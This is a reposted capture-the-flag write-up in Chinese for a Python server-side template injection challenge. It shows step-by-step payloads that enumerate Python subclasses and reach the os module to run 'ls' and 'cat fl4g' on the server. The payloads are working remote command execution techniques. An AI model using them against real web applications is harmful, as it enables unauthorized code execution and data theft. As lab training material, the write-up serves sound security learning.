当前位置: 首页 > news >正文

WEB:Web_python_template_injection

背景知识

        python模板注入

        ssit

题目

 

打开题目,发现页面提示,翻译为python模板注入

先测试是否存在注入

可以发现被执行了

先查看所有的子类

payload

{{[].__class__.__base__.__subclasses__()}}

 

利用site.Printer的os模块执行命令

payload

{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('ls').read()}}

 

 可以看到当前目录下有个fl4g,执行cat fl4g

payload

{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('cat fl4g').read()}}

 得到flag

参考学习链接:

https://www.cnblogs.com/qiushuo/p/17454498.html

攻防世界-web-Web_python_template_injection_wuh2333的博客-CSDN博客

Web_python_template_injection(Python模块注入)_kali-Myon的博客-CSDN博客

http://www.lryc.cn/news/99884.html

相关文章:

  • 【Android安全】Embedded Trace Microcell模块
  • 修改内核驱动之后-如何给内核打补丁
  • 【javaSE】 类和对象详解
  • 大数据课程D5——hadoop的Sink
  • 【数据结构】27.移除元素
  • 机器学习分布式框架ray运行xgboost实例
  • C++设计模式笔记
  • 简单聊聊创新与创造力
  • 使用TensorFlow训练深度学习模型实战(上)
  • 【Spring】什么是Bean的生命周期及作用域,什么是Spring的执行流程?
  • 立创EDA学习
  • 清风学习笔记—层次分析法—matlab对判断矩阵的一致性检验
  • 大众安徽内推
  • Meta “地平线世界”移动端应用即将上线,手机快乐元宇宙?
  • 更省更快更安全的云服务器,一站式集中管理,随时随地远程——站斧云桌面
  • 出现 Try run Maven import with -U flag (force update snapshots) 的解决方法
  • python多线程
  • Spring Framework 提供缓存管理器Caffeine
  • ZQC的游戏 题解
  • 24考研数据结构-第一章 绪论
  • Gitlab 备份与恢复
  • 数据库—用户权限管理(三十三)
  • C语言【怎么定义变量?】
  • vue中使用vab-magnifier实现放大镜效果
  • 无涯教程-jQuery - Highlight方法函数
  • 【bar堆叠图形绘制】
  • ORACLE数据库灾难恢复
  • base和正则备份
  • ArcGIS Engine 与 Visual Studio版本对照表
  • JPA连接达梦数据库导致auto-ddl失效问题解决